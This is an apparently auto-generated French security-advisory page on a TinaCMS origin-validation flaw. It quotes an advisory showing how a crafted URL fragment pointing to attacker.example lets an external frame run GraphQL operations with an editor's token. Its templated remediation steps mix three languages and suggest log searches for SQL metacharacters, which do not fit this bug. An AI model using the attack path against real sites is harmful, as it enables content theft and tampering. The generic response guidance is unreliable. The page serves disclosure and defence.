Vulnérabilité dans tinacms (CVE-2026-108261)
Résumé
Vulnérabilité dans tinacms (CVE-2026-108261). Des informations confidentielles peuvent être exposées. Exploitable via GET /evil.html. Atténuation : mise à jour vers 3.14.0 ou plus.
Description d'origine
La description telle que publiée par la source (souvent en anglais).
Summary
The TinaCMS admin builds its preview `` from the /~/* hash-router splat without checking that the value stays same-origin. A fragment with a doubled slash (#/~//attacker.example/p) becomes the protocol-relative URL //attacker.example/p, so the admin frames an external site. That same unvalidated string derives expectedOrigin, the only trust anchor for the admin↔preview postMessage channel, so the attacker's frame is treated as trusted: it can submit any GraphQL operation, which the admin executes with the signed-in editor's token and posts back to the attacker's origin.
One link, opened by a logged-in editor, gives an unauthenticated remote attacker arbitrary read and write access to the site's content API as that editor.
Details
Root cause — the router splat becomes the frame source with no same-origin check:
packages/tinacms/src/admin/index.tsx:16 HashRouter as Router,
packages/tinacms/src/admin/index.tsx:329 path='/~/*'
packages/tinacms/src/admin/index.tsx:173 const [url, setURL] = React.useState(`/${params['*']}`);
packages/tinacms/src/admin/index.tsx:176 const paramURL = `/${params['*']}`;
packages/@tinacms/app/src/preview.tsx:24 src={props.url}
The leading / is meant to force a relative path, but react-router-dom@6.30.3 returns the splat with its own leading slash for /~//x, producing //x. The iframe has no sandbox attribute and the admin bundle ships no CSP.
The trust anchor is then computed from…
Source: GitHub Security Advisories (Global) NVD GitHub Advisory
Résumé généré automatiquement
Assemblé par SecPulse à partir des données sources (CVSS, CWE, versions affectées) à l'aide de modèles, sans IA. Vérifiez la description d'origine et les références ci-dessous.
Une vulnérabilité référencée CVE-2026-108261 a été découverte dans tinacms.
Des attaquants peuvent cibler un point d'entrée spécifique comme GET /evil.html à distance pour détourner le produit.
Des informations confidentielles peuvent être exposées. Score CVSS : 9.3/10.
Action : mettez à jour tinacms vers 3.14.0 ou supérieur.
En cas de doute, contactez votre service informatique ou cherchez « tinacms CVE-2026-108261 » sur le site de l'éditeur.
CVE-2026-108261 (tinacms) — CWE-346 / CVSS v3 9.3
Vecteur d'attaque : distant (réseau) / non authentifié
Surface d'attaque : GET /evil.html / GET /exfil / expectedOrigin / postMessage
Correctif : 3.14.0 — appliquer immédiatement
Plan : 1) Audit SBOM, 2) Mise à jour staging→prod, 3) Surveillance WAF/proxy sur les endpoints affectés, 4) Recherche d'IOC dans les logs.
Réfs : voir GHSA / avis éditeur / version corrigée liés sur cette page.
Une vulnérabilité (CWE-346) affecte tinacms. Les attaquants atteignent le code vulnérable via GET /evil.html sans authentification.
Consultez l'avis de l'éditeur pour les versions affectées de tinacms. Surface d'attaque : GET /evil.html / GET /exfil / expectedOrigin / postMessage.
Gravité : Critique (CVSS 9.3/10). Des informations confidentielles peuvent être exposées.
Mettre à jour vers 3.14.0.
En attendant le correctif : désactivez la fonctionnalité concernée, appliquez des règles WAF, ou restreignez l'accès par ACL réseau.
Recherchez dans les logs webserver/proxy/WAF des requêtes anormales vers GET /evil.html (en-têtes d'auth malformés, méta-caractères SQL). Auditez les fichiers de dépendances pour trouver tinacms.
Actions de réponse
Étapes concrètes et exemples de commandes que les équipes SOC/SRE doivent exécuter dans l'ordre
-
1Identify exposure identify
grep -r 'tinacms' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
tinacmsを grep し、稼働しているサービス・バージョンを把握する。 -
2Hunt for indicators of compromise detect
grep 'GET /evil.html' /var/log/nginx/access.log | grep -E '(unusual_payload|sqli_pattern)'アクセスログで
GET /evil.htmlへの異常なリクエスト (不正な認証ヘッダ・SQLメタ文字)を過去 30〜90日分捜索。WAF/SIEM があれば該当パスのアラート発火履歴を確認。 -
3Apply patch patch
Upgrade tinacms to 3.14.0ステージング環境で 3.14.0 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスと、Step 2 で見つけた異常検知の続報チェックを含めること。
-
4Post-deployment verification verify
Replay attack against GET /evil.html on staging to confirm patch closes the vectorパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番では Step 2 と同じログクエリでアラート再発が無いか継続監視。
Paquets affectés
Références
- package github.com
- web github.com
- web github.com
- web github.com
- web github.com
- web github.com
- web github.com